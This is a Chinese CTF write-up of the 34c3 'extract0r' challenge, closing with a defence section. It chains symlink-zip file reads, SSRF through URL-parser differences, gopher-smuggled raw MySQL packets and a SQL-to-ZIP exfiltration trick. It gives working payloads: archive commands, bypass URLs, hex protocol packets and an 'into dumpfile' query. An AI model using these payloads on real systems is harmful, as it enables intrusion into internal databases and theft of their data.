从一道CTF题目看Gopher攻击MySql
字数 1568 2025-08-18 11:36:57
Gopher协议攻击MySQL技术分析与实践
1. 背景与题目概述
这道CTF题目来自34c3CTF的web题目"extract0r",涉及一个安全解压服务。用户提供zip文件的URL,服务端会下载并解压该文件。题目通过多个安全限制来防止攻击,但存在可利用的漏洞链:
- 任意文件读取漏洞
- SSRF漏洞
- MySQL协议攻击
2. 初始漏洞:任意文件读取
2.1 限制条件分析
题目设置了多重限制:
- 输入域名中不能含有数字
- 压缩文件中不能含有目录
- 解压后的目录不解析PHP
2.2 符号链接绕过
通过创建包含符号链接的压缩包实现任意文件读取:
ln -s ../index.php test_link
7za a -t7z -r test.7z test
上传后访问test_link可读取index.php源代码。
2.3 隐藏文件绕过
verify_extracted()函数使用glob($directory."/*")遍历文件,无法检测以.开头的文件:
ln -s / .a
7za a -t7z -r test.7z .a
上传后访问.a可遍历根目录,发现关键文件:
/home/extract0r/create_a_backup_of_my_supersecret_flag.sh
3. SSRF漏洞利用
3.1 URL解析差异
利用parse_url和libcurl解析差异绕过IP检查:
- PHP parse_url:host匹配最后一个
@后的内容 - libcurl:host匹配第一个
@后的内容
示例:
http://u:p@a.com:3306@b.com/
PHP解析为访问b.com,而libcurl实际请求a.com:3306
3.2 题目限制与绕过
题目clean_parts()过滤了空白字符和数字,可使用以下形式:
gopher://foo@[cafebabe.cf]@yolo.com:3306
或
gopher://foo@localhost:f@ricterz.me:3306/
4. MySQL协议分析
4.1 认证流程
MySQL 4.0+协议采用挑战/应答认证:
- 服务器发送挑战数(scramble)
- 客户端用挑战数加密密码后返回
- 服务器验证结果
当密码为空时,加密后的密文也为空,认证包固定。
4.2 数据包结构
MySQL数据包前有4字节包头:
- 前3字节:包长度(小端序)
- 第4字节:包序号(从0开始)
4.2.1 握手初始化报文(服务器→客户端)
示例:
4C0000000A352E372E31382D31000000006B69457B3C342E4300FFF7080200FF81150000000000000000003A6A02314D2661447951577F006D7973716C5F6E61746976655F70617373776F726400
4.2.2 认证报文(客户端→服务器)
密码为空时的固定认证包:
85000001085F000000010000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
4.2.3 命令报文
结构简单:
- 第1字节:命令类型(0x02切换数据库,0x03SQL查询)
- 后面:SQL语句
4.3 完整攻击流程
- 发送认证包
- 发送SQL命令包
- 添加4个空字节强制断开连接
5. ZIP文件构造
5.1 ZIP文件结构
合法ZIP文件包含四部分:
- Local file header
- 压缩后的Deflate数据
- Central directory file header
- End of central directory record
5.2 构造技巧
使用SQL的concat函数构造ZIP文件:
select concat(zip_header, (查询结果), zip_eof) into dumpfile '/tmp/test.zip'
示例:
select concat(
cast(0x504b03040a00000000000000000000000000e8030000e803000010000000746869735f69735f7468655f666c6167 as binary),
rpad((select now()), 1000, '-'),
cast(0x504b01021e030a00000000000000000000000000100000000000000000000000000000000000746869735f69735f7468655f666c6167504b0506000000000100010036000000640000000000 as binary)
) into dumpfile '/tmp/test.zip';
6. 完整攻击链
- 通过符号链接发现无密码MySQL用户
- 利用URL解析差异绕过IP检查
- 构造MySQL协议payload执行SQL
- 将查询结果构造为ZIP文件格式
- 通过解压服务获取查询结果
最终攻击URL格式:
gopher://foo@[cafebabe.cf]@yolo.com:3306/_+(MySQL packet)+(四个空字节)
7. 防御措施
-
符号链接防御:
- 解压前检查文件类型
- 禁止解压符号链接文件
-
SSRF防御:
- 统一URL解析逻辑
- 严格限制访问的IP范围
- 禁用危险协议(gopher等)
-
MySQL安全:
- 禁止空密码账户
- 限制远程访问
- 使用防火墙规则
-
文件处理:
- 解压前验证文件完整性
- 限制解压文件大小和数量
- 使用安全解压库
8. 总结
这道题目展示了从任意文件读取到SSRF再到MySQL协议攻击的完整漏洞链,涉及:
- 文件系统符号链接利用
- URL解析差异导致的SSRF
- MySQL协议分析与构造
- ZIP文件格式构造
关键点在于理解各组件的工作原理和它们之间的交互方式,通过精心构造的输入实现攻击目标。